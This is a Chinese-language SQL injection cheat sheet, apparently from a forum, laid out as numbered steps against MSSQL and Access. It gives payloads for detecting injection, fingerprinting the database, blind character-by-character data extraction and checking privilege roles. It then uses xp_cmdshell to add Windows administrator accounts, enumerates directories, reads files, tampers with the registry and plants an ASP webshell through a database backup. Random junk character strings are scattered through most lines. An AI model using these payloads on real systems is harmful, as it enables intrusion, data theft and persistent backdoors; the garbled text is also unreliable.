手工脚本注入 : H7 O0 n2 q1 z- h8 Z* ?
1.判断是否有注入;and 1=1 ;and 1=2
' s. U: h& [( c. O0 R( o
# n) M3 b5 c% Q8 ]8 a- }- U5 k/ E2.初步判断是否是mssql ;and user>0
3 |2 R& r R6 N8 B; Y3 |* y# W' [2 y/ k6 [5 } y/ _
3.注入参数是字符'and [查询条件] and ''='
! n6 Q3 J- I0 a3 z$ F/ m2 X. a e# m2 R3 z H/ E
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& v' |/ l# n% r
. W5 {5 |# o! s) e0 G0 t0 W5.判断数据库系统 ( l+ }5 r. m9 l. Q2 `/ p
;and (select count(*) from sysobjects)>0 mssql " a' x- R) L, G2 f
;and (select count(*) from msysobjects)>0 access
3 @/ P8 [. P9 q: N# ^( `- s8 t8 e$ j; u9 Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 N8 ~' W7 t1 g% Z2 ~( v
, r% h, k* Q9 S1 ^9 h; `% |7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ a* s. Y7 C. P1 ~3 Y ^ }
8 y- l# |8 v/ [0 N0 U8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 " M' p' F8 H' N' N) z! t
2 X% I+ U/ Y; p9.(1)猜字段的ascii值(access) ! V* H6 c! E8 t
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ; M0 g. @# d8 r, K$ j8 J0 _, Q
: k4 C2 j9 j' V3 U F% g# N, r(2)猜字段的ascii值(mssql)
: l: p8 X/ r8 I" s. y1 y;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ( i0 a8 B4 f8 L! I; s
$ V A# N4 w) m10.测试权限结构(mssql)
$ K( o. c7 A3 m: d: V& h! o;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 Z. o* _6 }! e' a. d+ P8 Z3 ~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ V3 @$ @; d) e' Y1 T;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' h# L$ B% E* \. K$ o: S, k7 [& Q1 V;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - [6 X( S7 g# ~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% m- U( z# S; { L# m9 h;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' A1 b1 B- b5 Z% @/ L$ B' V;and 1=(select IS_MEMBER('db_owner'));-- 8 C; |+ ^! u7 H" A
4 P5 m/ [1 a$ a% F4 m# R2 W
11.添加mssql和系统的帐户 ' z) C7 t: H w3 q: a9 A
;exec master.dbo.sp_addlogin username;-- , }/ O5 h- c5 d" T, U
4 N5 Z0 i/ r: q1 j* Q
;exec master.dbo.sp_password null,username,password;--
& H$ m- f7 x3 _- u2 g% i/ b- Y) ]( m8 C5 t& a0 y
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 R! i( w# Q' c `, L
P4 A9 w/ w& n8 r# D;exec master.dbo.xp_cmdshell 'net user username password 7 k; l5 }3 Y% R: R: |
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ! H }% r; F1 T/ M0 Y2 e" _4 L# b
* E# o6 I+ @1 N% {6 T
;exec master.dbo.xp_cmdshell 'net user username password /add';--
* ]5 e0 e0 F) \5 e) H* ^5 R! N) m3 I/ ]$ g
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ a8 o9 o8 w5 h. j, }: `5 M5 h2 g! w& ~& s% x
12.(1)遍历目录 ) U$ K& p0 I2 t1 D0 b; A7 B
, U/ H( z& w F4 A6 S: ?8 b( T
;create table dirs(paths varchar(100), id int)
* K$ v/ e* J; U9 ^, T+ V;insert dirs exec master.dbo.xp_dirtree 'c:\'
" e, L( X; |8 i6 m k7 N% M. S5 A;and (select top 1 paths from dirs)>0 ) U8 u& P' g% l# A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 F& W6 H# P% N# f8 y& C5 W5 x; l+ d
8 |3 G6 n0 R9 @8 V# j% O/ B$ I9 b' G$ g(2)遍历目录 ( f0 d: j2 `( o x+ Z% d1 Y! d7 v+ k
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4 C+ b# U' X) @& n' }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
) K' M, @9 m h;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 % p- \# D5 |& ~: h, n4 O4 G
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ [9 M; J. n" y# X0 i% p4 c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 l' K0 K7 R6 }5 J% w
9 Z8 W. ?8 o1 O! @7 f% s" y13.mssql中的存储过程 6 m1 L& H6 T$ P2 m, N
# |) {2 Q4 ^; A* S& oxp_regenumvalues 注册表根键, 子键
2 e) X# T/ U0 G9 Q( p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
5 e( l& G" b Z& {" \$ T
5 X' M0 `+ @; n+ d* Ixp_regread 根键,子键,键值名 G$ g0 a% P( Y" Z% d$ A8 x' `
;exec xp_regread
* Y0 `5 r9 J% R- a. ~'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 o( ^3 j0 r+ D$ g
! k2 i. I/ Z3 i
xp_regwrite 根键,子键, 值名, 值类型, 值
. G- Y P8 ^( F( ^% q) q值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 F$ Y- P; a" Q: ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 ]/ A2 }. I# Q7 R" z3 L/ E# ^ |( B
xp_regdeletevalue 根键,子键,值名
4 ? y: ?# x$ D6 U [
) H/ w: {% d; Q# u# I6 n1 dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ' d Y2 F9 {: N+ m; h8 y' I- G
- u) @3 c" ]1 w$ |
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 # d4 z+ I( J2 ]& k A
1 G5 m9 \9 e' }14.mssql的backup创建webshell ( k5 [( N& n+ ~5 G8 ~3 ?* Z( C0 V
use model 8 Y' `; J* U7 |' L. r
create table cmd(str image);
1 L/ r0 U: u. S: M. J1 V: ?5 x% kinsert into cmd(str) values ('');
- m! |2 n* p7 V3 O/ c# r5 @) Kbackup database model to disk='c:\l.asp'; 3 Z5 @( d, @5 f3 S6 d
& l$ @/ N* h3 r15.mssql内置函数
8 h" W6 g2 L0 R" K& @;and (select @@version)>0 获得Windows的版本号
1 \% \3 h/ m" V. q;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* c; o' Y' D" z- ~2 A ~;and (select user_name())>0 爆当前系统的连接用户 & T4 D+ W! h0 f! i; m; W
;and (select db_name())>0 得到当前连接的数据库 , ?, o3 z2 s9 E& M
: T, a) m! v" V16.简洁的webshell
! p: F* g( o5 S* t8 U' P9 z# u( ?9 p/ b
use model 0 b. i1 b2 o, b7 q4 y6 ]
* K5 n( e& h2 u% R4 r! I1 Zcreate table cmd(str image); 7 _$ n% Y! S- f6 K, K0 g2 I& K
; z1 |9 j0 O4 |: Sinsert into cmd(str) values (''); # K8 Y+ ? k5 z4 i7 f \2 ]) B) C
4 ^# E- K4 q# q7 @backup database model to disk='g:\wwwtest\l.asp'; ! ]* z# b! W' o8 S, O/ q2 r
% b/ F; Q# [" B* R J, B& G
|